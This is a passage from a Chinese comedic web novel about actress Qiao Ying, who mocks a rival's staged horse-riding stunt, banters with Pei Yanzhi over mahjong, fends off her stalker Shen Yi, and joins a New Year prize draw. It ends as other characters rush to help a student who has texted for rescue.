挑一张发就足够了,贪多贪足,反而显得急功近利。 Let’s 云淡风轻! P好照片,她有样学样地发了条微博: 【阮绵绵V:虽然没有一起上过课、但这匹从丹麦来的栗色大马和我有点一见如故的意思。照片都拍虚了可还是想分享!下次一定带好吃的给他!】 评论区很快就涌入了一批忠实粉丝: 【哇,竟然还有女孩子喜欢骑马!绵绵真厉害!】 【小姑娘不错啊,我这个身份证110开头985毕业年薪百万热爱爬山和户外运动的男性都佩服。】 【不愧是老子看上的女人,和那些娇娇弱弱的白莲绿茶就是不一样!】 【哦?有趣,那我考考你,马受惊了应该怎么办?】 【绵绵果然还是女孩子,不懂运动,穿这身衣服来骑马根本就不专业。】 阮绵绵看着这些评论,嘴角逐渐扬起笑意。 这群直男粉丝还是这么可爱,居然没一个人察觉到她这是在和许声蕴暗戳戳较劲。 她心情颇好地收起手机,走出马厩,和一行人迎面撞上。 一群大学生模样的人嘻嘻哈哈地走了过来,将一个矮壮如牛蛙的男人簇拥在中央,表情谄媚,嘴里说着讨好恭维的话。 其中一个人语气尤为浮夸,大张着嘴巴喊叫道:“哇,韩哥,这就是你家的马场吗?真大!哥们儿太有实力了!” 被称作韩哥的人戴着墨镜,倨傲地昂着头。 阮绵绵暗中打量他一眼。 这家俱乐部的老板,好像的确姓韩来着。 如果突然发现有女明星来上课,老板应该会很激动吧。 但怎么办,毕竟是在公共场合,她不想耀眼夺目的。 阮绵绵清咳一声,牵着教练交给她的马,梗着脖子绷起脚尖,不经意间挡住了他们的必经之路。 几个男生先是皱眉瞥向她,随后像猴子一样怪叫起来:“哇!哇!我没看错吧?你是阮绵绵?” “女神!你也是被韩哥叫来的吗?还是韩哥懂兄弟们啊!” “我听别人说过,俱乐部老板和一个女明星关系很好,还送了她终身vip,那个人一定就是你吧!” 韩哥脸上的笑一僵,旋即飞速恢复了正常,散漫摆手,示意他们低调一点。 阮绵绵也并不回答, 挽挽头发,清冷开口:“抱歉,我本来不想太张扬,没想到还是被认出来了。” 她高贵冷艳地路过,回想着体验课上的内容,努力蹦跶几下,纵身上马。 “驾!” 她拉着缰绳,一夹马肚,开始绕场跑了起来。 那群人果然又发出一阵怪叫。 “我觉得阮绵绵好酷,又洒脱又不做作,很潇洒,一点都不像其他女生那样娇娇弱弱。” “对啊对啊,平时女生跟我们说话都扭扭捏捏的,拎个包都嫌重,下雨没伞就脆弱得不行,出去玩没人接就像是受了多大的委屈。” “就是,感觉这些女的柔弱做作到随时都需要男生帮助,在我们面前个个都是林黛玉,等她们为了男人扯头花,撕得比谁都难看!啧,果然还是女人最恨女人啊。” 人群中央的韩哥摸摸下巴,赞同地点点头:“确实。” 几步之外,坐在观景台上的乔缨旁观着这起闹剧,一把按住拍案而起的韩佳仪。 她悄声道:“再等等,还有好戏看呢。” 韩佳仪揉揉气得发疼的太阳穴,觑她一眼,凉飕飕道:“你最好是没骗我。” 林娇娇和喻季年也抖抖手臂上的鸡皮疙瘩,双目无神地说:“缨姐,你想让我们去死可以直说的,何必用这种方式折磨人。” 话音未落,阮绵绵因技艺不精,不到一分钟的时间就被马甩了下来。 见她倒地不起,一群男人立马哄闹着围上去,关切地问她怎么样了。 “没关系。” 为了维持特立独行的人设,阮绵绵眨巴着眼睛,看向韩哥手中未开封的奶茶,故作坚强道:“我可以拥有一杯奶茶吗?” 韩哥没理解她的脑回路,不情不愿地递了一杯过去,闷声说:“好吧,你的那杯十三。” 阮绵绵表情扭曲了一下。 一向对金钱十分敏感的韩哥精准捕捉到了她脸上的不自然,冷哼一声:“你别是想吃白食吧?捞女!” 身为一个大男人,谁都别想占他便宜!哪怕是女明星都不行! 这话说得太难听,立即有人为阮绵绵打抱不平:“不就是买杯奶茶吗?干嘛这样说人家。” 另外几个男生也点点头,替她辩解道:“多得是女生巴巴地让我们买包包钻石项链的,奶茶这种也太不拜金了。” 韩哥面子上挂不住,阴沉沉地盯着他们,几人立即噤声。 “够了!” 在场唯一一个女生突然拨开人群冲了进来,一把握住阮绵绵的手。 她莫名其妙地抹着眼泪,语气激动:“对不起,我最开始对你很有敌意,以为又是一个故意接近我哥的bitch……” 阮绵绵绷着表情,努力压下了翻白眼的冲动。 请问这里面哪个男的值得她故意接近? 长得像牛蛙的暴发户还是瘦得跟麻秆似的疯猴子? 女孩仍然沉浸在深深的自我感动里,滔滔不绝地倾诉:“可你居然根本就不在意我哥!我哥往常带女孩来俱乐部时,她们各个都跃跃欲试,毕竟这种活动很容易和男生拉近距离……” 她是真的很喜欢骑马,可每次组局,别的女孩就又是撒娇又是卖萌,想让男生带带自己,看着就恶心。 放在以前,她早就说了那句“你们女生就是事多”的至理名言,没想到阮绵绵却不走寻常路。 她欣慰地笑笑:“我还以为自己又要跟bitch进行battle呢,然而你根本不在乎,你知道吗,我现在甚至有些微妙的失落,毕竟连绿茶技能都没机会发挥。” 听着她的胡言乱语,韩佳仪一个头有两个大。 她指着这群人,表情惊悚道:“这是群什么物种?怎么每个字我都认识,连起来就听不懂了?” “我要去砍了这群傻x,吹彩虹屁就吹彩虹屁,诋毁别的女生算什么东西!” 林娇娇磨刀霍霍,被喻季年拦腰抱住。 乔缨高深莫测地喝了口汽水。 现在发生的事,正是原著里的一段狗屎剧情。 为了体现阮绵绵的万人迷属性以及清纯不做作的人设,甚至原著的描述比现实更加歹毒: 【阮绵绵从马上摔了下来,她被沈颐抱进医务室,伸出两只小脚让医生上药。】 【软糯的女孩攥紧了小拳头,不哭不闹地咬着唇,只有在痛极时才小声抽泣,红通通的眼睛像小兔子一样,却始终坚强地憋着小泪花,可她不知道自己这副模样,简直比哭了还叫人心疼。】 【沈颐心中一阵激荡,第一次对阮绵绵另眼相看,毕竟他身边的女生,一个个娇气得不行,拎个包都嫌重,别说见血,怕是连上马都不敢。】 谁看了不说一句:好一场酣畅淋漓的雌竞啊! 虽然不知道沈颐滚去哪儿了,但到目前为止,这场闹剧和原著里的情节几乎完全一样,都挺令人恶寒。 而韩佳仪更在意的,是那名女孩说他哥带其他女生来俱乐部的事情。 那可是vip的特权,而作为这里的老板,她对在场的人可没半点印象。 一行人捏着鼻子靠近闹哄哄的人群,女孩正在眉飞色舞地贬低中伤着某位女同学。 林娇娇当即一道马鞭抽到她脸上,忍无可忍道:“闭嘴吧,你脑子里装的都是屎吗?” 女孩捂着脸尖叫,四周的男人也跟着叫唤起来:“大胆!你知道她哥是谁吗?” “光顾着抽她,忘记抽你们了。” 林娇娇又是几道闪电鞭,暴躁地挥舞着双手。 “喜欢阮绵绵就喜欢阮绵绵,不拉踩其他女孩就沟子痒是吧?真以为你们那两厘米的物件人人都爱啊?” 韩哥狼狈逃窜,躲避之余还不忘愠声警告:“我告诉你,我可是杭城韩家的独子,这里可是我的地盘,你别太放肆!” “我怎么不知道,我妈还有个私生子?” 韩佳仪双手抱臂,从林娇娇身后缓缓走出。 在场的人都安静了一瞬,懵着脸问:“她什么意思啊韩哥?” “哼,能有什么意思,装的呗。” 女孩从地上爬起来,站到韩佳仪面前,眼神挑衅,趾高气昂地看着她。 韩林可是学校里出了名的富二代,她好不容易才认他当了哥哥,也的确捞到了不少好处,自然不会怀疑韩林的身份。 然而韩佳仪才没空管这个神经病,抬脚踹了踹地上的韩林,冷硬道:“说话,你手里的vip卡是哪里来的?” “捡的、捡的!” 装逼碰到正主了,韩林不敢再扯谎,哆哆嗦嗦地跪在她面前,老实交代:“我室友是这里的会员,他把卡落在了宿舍,所以……” 破案了。 偷的。 那群狐朋狗友立即用鄙夷的眼神看向韩林。 女孩深感自己被欺骗,更是气得扇了他几巴掌。 一时无言,四周顿时安静了下来。 无人问津的阮绵绵,此刻正瞪着眼趴在地上。 忽然,一道洪亮的嗓音如惊雷般在她耳边炸开,传入在场每个人的耳朵里: “您好,您的9.9团购体验课已经结束,如果还要继续使用场地的话,需要付超时的费用哦!” 好丢脸。 阮绵绵泫然欲泣,又因为许声蕴的刺激,发觉这是一个绝好的卖惨机会。 于是,在众目睽睽之下,她掏出手机开始拍摄九宫格哭泣照,还配上了一段前言不搭后语的文字: 【阮绵绵V:好久没有和妈妈聊天了,今天我哭得很伤心,对不起,妈妈,让你担心了,我真的好压抑,我好累,我好难受……】 乔缨无语地抽抽嘴角,抬头望天。 半晌后,从牙缝里挤出四个大字:“格格水灵。” 第64章 第六十四章 牌子货,几多钱?…… 马场后方的山坡上, 便是韩佳仪接待宾客的私人会 所。 林娇娇一进门就被满屋子珠宝钻石闪瞎了眼,不可置信地掐了一把大腿。 谢谢,昨天刚和自己和解, 今天看完想解决自己。 她要是从商朝开始打工,能买得起这里的一个戒指不? “你掐我干嘛, 掐你自己啊!” 喻季年拍开她的爪子,眼睛却黏在展示柜里的项链上, 挪不开视线。 一整块红色发晶载着如血管般丝丝缕缕的包裹体, 很巧妙地被雕刻成了心脏的形状。 一只三面成像的蝴蝶镶嵌其中,定格在振翅而飞的一瞬间。 灵动,轻盈,像是心脏跳动时散发出的无穷的生命力。 “这些是明天要拿去展览的珠宝。” 韩佳仪笑笑,给她们一一讲解着设计灵感。 她的母亲名叫韩璋珏, 是蜚声国际的珠宝设计大师, 其独创的切割法和镶嵌工艺至今无人能超越,一件难求。 和母亲比起来, 韩佳仪则更注重商业性,接手企业后一眼便看中乔缨, 和她签订了全球代言的合同。 因为做BJD的缘故, 乔缨经常从韩佳仪手里购买一些边角料当作装饰品,因此两人私下关系也非常不错。 在几人聊天的间隙, 乔缨也佩戴好了新系列的珠宝,自信地一撩头发, 臭屁地说: “红宝石在阳光下熠熠生辉, 衬托出本女王无敌的气质,怎么样老铁们像不像性感忧郁女主?” “像,我幼儿园第一次戴大红花就是你这表情。” 韩佳仪将她推到化妆镜前坐下, 面无表情地吐槽。 镜子中,耳坠上大面积镶嵌的红宝石和钻石交错成藤蔓的模样,不对称的缎带钻石链在右侧缠绕成只有半边翅膀的红色蝴蝶,栩栩如生。 乔缨看得有些入迷,忍不住问了一句:“牌子货,几多钱?” “我这套珠宝,可是四个法国老师傅花了整整三个月的时间昼夜不分做出来的…… ” 韩佳仪故意停顿几秒,伸出3根手指:“3000上车。” 这得是三千万吧? 林娇娇听罢,打了个哆嗦:“那算了,我黄二白,戴这个显黑,不买了。” 喻季年也跟着抖了抖,点头小声道:“你不买,那我也不买了。” “你们都不买,那我买会有优惠吗?” 乔缨在镜子里对对手指,“3000太贵了,我只能给到一半,大概30这样子。” “你以为你闲鱼砍价呢?” 韩佳仪似笑非笑,从展柜里拿出一个球形的东西放到她手里。 乔缨低头看去。 它的外观和月球达芬奇辉光的照片很相似,流光溢彩的白上有着环形山一样的凸起。 沿着中间的缝隙打开,则是五彩斑斓的黑,碎星般的晶体镶嵌在壁上,中空的球体里放着一颗尚未打磨的月光石和一颗成色极好的海蓝宝。 韩佳仪语气慷慨:“我做来玩的半成品,你要是想要,三十块卖给你。” “你可不许反悔。” 乔缨拿起月球对着灯光转了转,当即给她转了三十块钱,迅速揣进了口袋里。 本来还在发愁给裴砚知送什么礼物,现在总算有着落了。 拿回家打磨打磨,或许还能给他一个惊喜。 乔缨打开和裴砚知的对话框,抿唇敲下几行字: 【Dioretsa:我跟你说个事。】 【Dioretsa:哎呀,那个,就是你想听吗?】 【Dioretsa:其实吧……】 发过去后,她又思考了几分钟,忽然觉得有些不妥。 虽然她没过过生日,但按常理来说,作为当事人应该……不会想被提前剧透生日礼物是什么吧? 而且她才刚把东西拿到手,就这么急吼吼地去告诉人家,搞得好像在献宝一样。 作为一名性感忧郁的女主角,乔缨感觉自己OOC了。 她眉头紧锁,琢磨来琢磨去,终于拿着聊天记录找上了面前的三位军师,虚心求教:“你们说,我是不是有点舔了?” 林娇娇眯着眼睛,一句话都没看懂,冷静思考:“你确定你俩都是碳基生物?不是伪人?” 喻季年虎躯一震,看着页面上的内容,眼神逐渐犀利起来,道:“他都没发现你上下两行的‘就我’是在向他求救,这人不行!” 乔缨被说服,也跟着点点头,无比赞同:“我都害羞到用语气助词了,他居然一点反应都没有,细思极恐!” 韩佳仪沉默片刻,问:“你们谈过恋爱吗?” 三人对视一眼,齐齐摇头。 “那没事了,”她长叹一口气,循循善诱,“乖,咱还是打麻将吧。” — 屏幕那头,裴砚知一直在等待乔缨的下文。 可眼见着已经过去了十分钟,对方却一点动静都没有。 短短三句话就能让霸总抓狂,他已经对这位精通人性的女讲师没脾气了。 裴砚知认命地发去一条消息询问: 【磷脂分子:说吧,我听着呢。】 听他这样问,作为一个善解人意的小女孩,乔缨十分贴心地补上了两句: 【Dioretsa:算了,还是不说了。】 【Dioretsa:我怕你接受不了。】 “我……!” 裴砚知捏紧拳头,被气得发晕,忽然想到了某种可能。 他拿起手机,皱着眉,恨铁不成钢地追问: 【磷脂分子:你不会又去找沈颐了吧?】 【磷脂分子:他那心形石头都是批发的,别被骗了。】 【磷脂分子:不对,难道你结婚了?】 裴砚知度秒如年,漫长的三十秒过去,才终于收到一张乔缨回复的照片。 她抚摸着脖子上那颗硕大的鸽子血,笑意盈盈地看着镜头: 【Dioretsa:我们[爱心]】 紧接着,她又发过来一条语音: 【Dioretsa:我正忙着呢,我给你点零花钱你自己玩儿吧……等会打给你六万!】 六万? 乔缨什么时候变得这么大方了? 裴砚知盯着毫无动静的对话框,冷笑连连: 【磷脂分子:不是要给我打钱吗,钱呢?】 那边回得很快: 【Dioretsa:我给了你一百个零和零个一百,你没看见吗?九筒!】 裴砚知:“……” 受不了了,居然是在打麻将! 他瞳孔震颤,发出血泪控诉: 【磷脂分子:在我担心你被沈颐欺骗的三十秒里,你是在想怎么敷衍我,还是在思考下一张牌出什么?】 紧接着,对话框里弹出来一行冷漠无情的字: 【Dioretsa:我在等人给我点炮。】 一旁的陆嘉泽看着老板阴晴不定的脸,小声提醒道:“那个……裴总,已经和拍卖行沟通好了电话竞投的委托,您看……” 裴砚知坐在警局的长廊上,向室内投去一眼,问他:“你确定我盯着那条粉钻项链看了很久?” “……嗯。” 不仅盯着看,眼里甚至还泛起了绿光,让陆嘉泽一度将他幻视成黄鼠狼。 “处理完这里的烂摊子就回家吧。”裴砚知揉揉眉心。 听说一心追妻的蒋宗琰找错了门,被房主当作抢劫犯一枪放倒,还没来得及抬上救护车就断了气。 警察在排查周边住户时找到了白然,得知两人关系后把她带去了警局问话,到现在都没放出来。 万幸的是,由于互换身体的缘故,裴砚知并不知道现场发生了什么,好歹蒙混过了关,省去不少麻烦。 他往后仰靠在座椅靠背上,不经意间和那位涉案的房主本人对上视线,对方朝他缓缓露出一个微笑。 因为邱凌一到美国后就整了容,裴砚知此刻并没有认出她来,只是面无表情地移开了视线。 林曌给他端了杯热咖啡,坐在他身旁,语气凉凉地调侃:“那可是把白然前夫一枪爆头的猛女,你居然还敢瞪她。” “开枪的是她保镖。” 裴砚知纠正道:“还是个叠满各种buff的保镖。” 什么少数族裔叠加跨性别素食主义肥胖症患者,这一套以 后或许不好使了,但在新总统就任前多少还是能管点用。 所以,可想而知的是,这事到最后一定会不了了之。 “早知如此,何必当初。” 林曌看着天空中飘落的雪花,语气里带着嘲弄:“这种男人就是这样,死要面子,高高在上,低个头跟要了他的命一样,非要错过后再追悔莫及,结果造成现在的局面,除了活该我没有别的评价。” “大家谈点健康的恋爱吧。” 她哈出一口白气,意有所指地瞥了一眼被警察放出来的白然。 但和林曌想象的不同,白然此刻的心情很平静,平静到连她自己都觉得不可思议的地步。 昔日母亲患病求助无门时,蒋父蒋母奚落侮辱的嘴脸还历历在目。 而现在蒋宗琰猝然去世,听说二老受到刺激突发脑梗,如今生命垂危。 与此同时,她的母亲现在却住在顶尖的私立医院里,享受着最好的医疗资源,身体逐步好转。 状况完全颠倒了。 甚至作为蒋宗琰的合法妻子,白然还能继承一大笔遗产,将来把蒋父蒋母随便扔去哪个养老院,她就能顺畅痛快地过完下半生。 原来这就是拥有了一切但失去爱情的感觉。 太悲惨了,这报应可真够大。 “上帝,果然是个好编剧。” 白然发出一句感叹,不再停留,转身上了车。 对此,裴砚知倒是没太在意。 作为一个很有求知欲的人,他还在思考林曌那句“谈点健康的恋爱”,和乔缨认真探讨: 【磷脂分子:乔老师,你觉得追妻火葬场最好的结局是什么?】 虽然觉得这问题问得莫名其妙,乔缨还是耐着性子给出了自己的回答: 【Dioretsa:物理阉割吧,你当太监我坐牢,怎么不算是一种happy ending呢?】 裴砚知:…… 你是不是有点太极端了? 见他半晌没有回复,乔缨还以为他是在纠结之前的问题,安抚性地回道: 【Dioretsa:放心吧裴总,本人不婚主义哈。】 输入框的光标闪了又闪,裴砚知决定遵从内心,问出一直以来都想问的一个问题: 【磷脂分子:我真的很好奇,你到底喜欢哪种人?】 看到这条消息,乔缨轻笑两声,推出一张三条,云淡风轻道: 【Dioretsa:我喜欢给我点炮的。】 第65章 第六十五章 去你爹的,老娘就是不死…… 离十二月结束还有四天时, 乔缨顺利拍完了所有的戏份。 庆功宴上,剧组的工作人员在包厢里醉得东倒西歪。 乔缨不爱喝酒,到走廊上透气时, 透过窗户发现后院里有一棵巨大无比的装饰树。 天色渐晚,树梢上的残雪尚未消融, 串灯和地灯罩成一张暖色调的网,亮得堪比九级光污染。 圣诞节的装饰被撤下, 象征元旦的彩灯穿插着小红灯笼一圈圈缠绕, 组合成2025的字样。 最近在微博上吵架太多,陈意芝勒令她发几条日常博挽回一下形象。 她原话是这么说的:“你再这样抽象下去,小心明年上海万圣节有人cos你。” 乔缨不理解但尊重,走到树下,调整好相机的角度。 背景里的树影一动。 乔缨的注意力全在自己的脸上, 完全没发现角落里多出了一双男士皮鞋。 她按下快门, 一无所知地将照片发到微博,配文道: 【乔缨V:12月快结束啦~猜猜我在哪里~】 评论区的粉丝来得很快, 短短几秒就破万。 乔缨挑了其中几条回复,通知栏忽然冒出来一条提醒: 【微博小助手提醒您:刚刚有好友转发了您的微博哦。】 乔缨有种不好的预感, 脸皱成一团, 点开转发区,沈颐那个人尽皆知的小号赫然排在第一位: 【身怀宝藏总会遇到恶狼:我就知道, 你心里还有我。】 这是在干什么? 沈颐他失心疯了? 乔缨这辈子没这么疑惑过,刚想打字骂人, 身后忽然冒出来一个人影。 沈颐还是皱着半永久的川字眉, 抬手扶额,无奈苦笑:“你也真是的。” 乔缨:“?” “暗戳戳地发我们的合影,你不必嘴硬, 我都懂。” 他摸着下巴逐步靠近,身体挺得标直,死了三天的人都没他硬。 “合影?什么合影?你的意思是说地上那坨狗屎其实是你变的吗?” 乔缨后退几步,盯着照片看了半晌,终于在沈颐的指示下,找到了犄角旮旯里那双陌生的脚。 …… 有病是吧? 乔缨低声咒骂,立马重新编辑了文字,生怕被他这个脏东西沾上。 粉丝还以为两人又和好了,刚准备脱粉,却又眼睁睁看着那条微博被乔缨改动了几个字。 从【12月快结束啦~猜猜我在哪里~】改成了【12月快结束啦~猜猜谁是乔缨谁是狗~】。 评论区顿时发出一阵惊天爆笑: 【姐,被癫公缠上,真是苦了你了。】 【乔缨:螳臂当车,我还安好。】 【啊啊啊求求来个人收了沈颐吧,脚趾抠地久了也是会累的。】 【潘宏:发来!】 评论刚翻到一半,视线还未从屏幕上收回,乔缨便感觉有一阵疾风朝她袭来,手腕被谁狠狠攥住。 她身体一扭,侧身闪躲到一旁,一个大比兜下意识地甩了过去。 “啪!” 寂静的夜里骤然爆发出一道响亮的巴掌声。 被抽成陀螺的沈颐原地旋转三百六十度,捂着脸不可置信地看着乔缨。 这怎么跟小说里的不一样? 面对欲擒故纵的女人,那些男主角不都是霸王硬上弓,搞点性骚扰,三两下就哄好了吗? 沈颐伸出的舌头还停在空中,因为刚刚的飞天螺旋巴掌,被牙齿咬得几乎失去了知觉。 他从地上爬起来,双目猩红,口齿不清地怒吼:“乔缨!你好大的胆子!” “求你,我要再来几次?” 乔缨掏掏耳朵,挥开他掐向自己脖子的手,又是一巴掌扇了过去。 “啪!” 上一巴掌偏商务,而这一巴掌偏运动,声音更加响亮。 “真是的,这辈子都没听过这样的要求。” 她居高临下地睨着沈颐,嫌弃道:“没想到你还有这种癖好,行,满足你,离了我谁还把你当孙子。” “啪!” “啪!” 乔缨是个实干派,不由分说地伸出手,又是两巴掌招呼上去。 她一边打一边嗤笑:“两个睾/丸逐渐发育成左右脑,虽然布满沟壑但也不是不能思考。” 在左右开弓的大比兜下,沈颐的两颊迅速肿胀起来,猩红的眼睛逐渐变得清澈。 是了,听说乔缨请了两个保镖,这段时间除了拍戏都是在特训。 看她扇巴掌的力道,以及发力的技巧,他这下是真的打不赢了。 死腿,快爬啊! 惊恐的情绪让沈颐肾上腺素飙升,他宛如一只刚化形的大苍蝇,在冰凉的石子路上手脚并用地阴暗爬行。 老天开眼,因为天黑路滑,他又蒙头乱窜,就这么水灵灵地一头撞在了花坛上。 在他晕过去的前一秒,乔缨语气轻蔑地说了一句:“你Q/Q农场响了。” 沈颐迷茫地张开嘴:“……什么?” 乔缨拍拍他的脸:“你菜死了。” 转过身,一个小女孩怯生生地站在院子里,指了指尚有一丝气息的沈颐,眼神里满是担忧。 “别怕,”乔缨笑容温和,“他只是被姐姐哄睡着了。” 看着她一副法外狂徒的模样,小女孩瘪着嘴就要号啕大哭。 乔缨横眉冷竖,双手抱胸,正气凛然地喝了一声:“Queen Never Cry!” 小女孩一怔,双手抱胸,表情坚毅地瞪大眼睛。 助理姗姗来迟,在见到一头血的沈颐后发出一声尖叫 ,忙叫人把他抬进了屋里。 一个男人跟在他身后,见到小女孩后也是快步上前,连忙把她抱了起来,头疼地说:“裴小姐,你别再乱跑了,我这个月的奖金都快扣没了。” 裴星摇靠在他怀里,把小天才手表递到乔缨面前,圆溜溜的葡萄眼一闪一闪。 “姐姐,你长得好漂亮,我能跟你合个照吗?想送给我舅舅当他二十六岁大寿的生日礼物。” 乔缨摸摸女孩的头,欣慰一笑:“真是个好孩子,和我一样孝顺。” 拍完合照,人群散去,一个工作人员颇有眼力见地迎了上来。 她手里拿着拍立得,礼貌询问:“乔老师,您今年也要参加元旦节的活动吗?这回我们老板可是下了血本,奖品很不错哦。” 这是餐厅每年都会举行的活动,和装饰树合影并写下留言,装订成贺卡后挂到树上,便能得到一次抽奖的机会。 乔缨曾经参加过,喜提两大包纸巾,从横店一路拎回了京市。 凭借着记忆,她在树身上扫了一圈,轻而易举地找到了自己去年留下的照片。 眼睛还是这双眼睛,鼻子还是这个鼻子。 只是去年的她还在被剧情折磨着,眼神里装着不易察觉的迷茫和浓厚的自我厌恶。 正因为当时的心态,她在留言处没写下什么美好的新年愿望,而是一句【老不死的地球你好】,笔触用力到快要划破纸张。 彩灯一闪一闪。 乔缨抚摸着笔迹的凹痕,仿佛和去年困顿迷惘的自己隔空对视,忽然畅快地笑了起来。 你看,我活下来了,还活得很好。 我不再是单薄的恶女,不再是踽踽独行的异类,不再是潦草退场的工具。 我只是我自己。 摸上胸口,那里有颗鲜活的、正在跳动的心脏。 我可是乔缨。 狗屎原著,它算个屁。 工作人员被那笑容晃到眼睛,快速按下快门,闪光灯亮起,留下了一张明媚张扬的脸。 乔缨接过马克笔和贺卡。 和去年的文艺风不同,她大手一挥,写下了一行简单粗暴的文字: 【去你爹的,老娘就是不死!】 寒风吹过,那张贺卡被挂上树梢。 一如她本人的模样,在夜里高高扬起,飘得张牙舞爪。 工作人员微笑着把乔缨引到一楼大厅,柜台靠墙的位置摆着一张方桌,上面放着一个抽奖箱。 活动了一下手指,乔缨把手伸了进去,一番摸索后,凭着直觉抓出一颗球。 她把球递给负责抽奖的女孩,两只眼睛牢牢盯着,比看双色球开奖的彩民还紧张。 以前她永远都只会抽中安慰奖,但今年不一样,她可是从原著里觉醒的女人! 验证自己的倒霉体质是否失效的时刻到了! 女孩被她盯得掌心出汗,因为手滑,尝试了好几次都没打开。 她看着乔缨严肃凝重的脸,默默咽了口唾沫。 这要是没开出奖来,她不会被乔缨暗杀吧? 女孩擦掉手上的汗,战战兢兢打开,再小心翼翼拿出。 瞥到纸条上的字后,她顿时长舒一口气,高声通报:“二等奖!” 乔缨热泪盈眶,像得了冠军一样高举双手。 激动了一会儿,她忽然反应过来,微笑着问:“那二等奖,是什么呢?” 女孩结结巴巴:“一、一个安全锤。” 嗯? 一个安全锤? 然后呢?就没了? 乔缨惊愕地睁大眼睛,拆开包装,拍下照片在某宝上搜了搜同款。 然后她就沉默了。 安全锤甚至还是九块九包邮的那款。 “这就是传说中的……下了血本?” 乔缨的表情一言难尽,“就,不顺手送个灭火器什么的吗?” 她在原地凌乱的时候,林娇娇也写完了贺卡,走到桌前挽住乔缨的手臂。 “姐,你也在这儿啊?抽到啥好东西了?” 她喝得有点多,脑子晕乎乎的,一边和乔缨说话,一边把手伸进抽奖箱,随意摸出来一颗球。 一旁女孩倒吸一口气,激动大喊:“特等奖!你抽到了特等奖!” “啥?” 林娇娇大着舌头,从女孩手里接过一沓彩票,眯着眼睛开始刮第一张。 “嘶……” 林娇娇的眼睛都看成了对眼,指着彩票上的图案问:“这是什么意思?” 女孩瞅了一眼,再次倒吸一口气,难掩激动地小声道:“十万!你中了十万!快去兑奖,别让其他人发现了!” 乔缨也是一惊,发现四周已经有不少人看了过来,赶紧拿着剩下的彩票,搀着林娇娇到了隔壁的彩票店。 喻季年一头雾水地跟了进来,在又刮出三千块后,忍不住大力摇晃林娇娇的肩膀。 她仰天咆哮道:“为什么!为什么你运气这么好!” 林娇娇挠头,嘿嘿一笑:“可能……因为叫ABB的人比较欧?” 乔缨恍然大悟地点点头,掏出手机,给裴砚知发去一条消息: 【Dioretsa:你说,我改名叫乔炜炜怎么样?】 收到这条消息时,裴砚知刚在科大的学术报告厅里做完演讲。 掌声雷动,他回到座椅,不动声色地打量了一圈周围的人。 刚刚在台上时,他莫名感觉有道阴冷的视线黏在自己身上,虽然没有达到恶意的程度,但绝对算不上友好。 可那股若隐若现的感觉又很快消失,一直到会议结束都再没出现。 真是奇怪。 裴砚知走到茶歇的位置,打开手机刚瞥了一眼,一位和他相识的老教授便走了过来。 两人正寒暄着,老人向他身后招招手,亲切地喊道:“小陶,快过来,这位就是裴总。” 裴砚知忽然感觉后脑勺一凉,那道阴冷的视线再度出现。 他泰然地转过身,对上了一张陌生的脸。 女孩的玻璃镜片反射着冷光,眼里的厌恶一闪而过,朝裴砚知伸出手,淡淡开口: “你好,陶希彤。” 第66章 第六十六章 难说,男人的底线一向很低…… 凄然, 是陶希彤给自己起的新名字,象征着她被裴砚知毁灭的粉丝情。 她要变得狠毒,冷血, 一心沉浸在科研中,走到行业顶尖, 在昭星抛来橄榄枝时狠狠拒绝,让裴砚知后悔招惹乔缨。 这是陶希彤此时所想的。 作为毒唯, 她害怕乔缨和裴砚知谈恋爱, 即使两人看起来已经在谈了。 她深吸一口气,绝望地戴上社交面具,木然道:“电子工程系,凄……陶希彤,裴总幸会。” 而聪明如裴砚知, 显然也从她的姓氏, 以及怪异的举止联想到了那通专柜的电话,眼神变得复杂起来。 没想到, 他和那位十周年纪念日的陶小姐,居然在这种情形下, 相见了。 两人各怀心事, 敷衍地握了握手,几乎一触即分, 动作快到看不清。 一无所知的老教授半点没察觉到异常,在两人恨不得化眼神为刀刃的视线里, 乐呵呵地开始介绍。 “小陶可是我们实验室最顶尖的人才之一, 科研能力非常强,主要研究大规模无人机蜂群组网技术。” 裴砚知微微颔首,没想到陶希彤的研究方向这么硬核。 和昭星的产品一结合, 搞不好在第三次世界大战上都是一段佳话。 不过目前看他俩这水火不容的样子,陶希彤应该不会和昭星合作,还很有可能会选择把技术卖给昭星的对家公司。 嘶……有点头疼。 有个女孩走过来和陶希彤打了声招呼,被老教授抓住不放的她顿时松了一口气,忙不迭地和他们告辞。 “你要去哪?” 陶希彤看着自己紧紧攥住的手臂,表情疑惑。 这个女孩名字叫向宁,是隔壁人文学院研究古 脊椎动物的博三,两人做过一段时间的舍友,关系很不错。 向宁把她拉到一旁,焦急地拿出手机,给她看了看刚刚收到的短信。 这是她的师妹赵又京发来的,只有简简单单的一个字:【救】,还有一个看起来像私人会所的定位。 陶希彤皱了皱眉。 赵又京和她们这种苦哈哈搞科研的不同,有一对当院士的爹妈,是个标标准准的学阀二代,一出生路就被铺好。 作为一名小学就能写出研究生水平论文的天才儿童,她根本不愁毕业和发刊。 可哪怕掌握了这么好的资源,她却无心科研,和父母的关系差得人尽皆知,泡吧喝酒蹦迪才是常态,平日里神龙见首不见尾。 美其名曰叛逆,美其名曰不想被父母安排人生。 作为师姐,向宁虽然对赵又京的观感不好,但也知道她不是会拿这种事开玩笑的人。 短信是一分钟前发来的,连字都没来得及打全,可见情况十分紧急。 向宁有些担忧:“她应该碰到什么事了。” “先报警,和学院里说一声,再找几个男生一起去。” 陶希彤三言两语说完,抓起衣服就要走。 走到一半,她瞥了一眼窗外的大雪,又瞥了一眼打车软件上接近三位数的排号,果断折返到裴砚知的面前。 “裴总,帮个忙。” 她把那条求救短信展示出来。 本以为还要多费些口舌才能说服,没想到裴砚知只是看了一眼便点头答应,什么也没问。 时间紧急,陆嘉泽方向盘都打出了残影,一头雾水地载着几人来到定位里的地址。 那个叫来帮忙的男生自告奋勇地走上前,被侍者毫不留情地拦下,示意要出示VIP卡才能他们进。 “不是,我朋友有可能遇到危险了,你们就不能通融一下吗?” 被不安笼罩的向宁急得去抓侍者的胳膊,站在门口的保镖顿时威胁式地逼近几步。 裴砚知将她挡在身后,示意陆嘉泽翻包的手快一点。 这里就是傅司宴那家私人会所,为了招揽生意,给各家公司的助理秘书们都送过卡,昭星自然也不例外。 因为从没用过,陆嘉泽手心都找出了汗,终于从犄角旮旯里找出那张贵宾卡递了上去,憋着火气问:“现在能进了吗?” 大门被打开,保镖退到两旁,一条黑漆漆的路出现在眼前。 这里鱼龙混杂,裴砚知瞅了瞅三个明显没出过象牙塔的学生,快速分配道:“向宁跟着Jesse,你俩跟着我,分头找。” 这里一共有四层,除了一楼外,其余几层都是包厢。 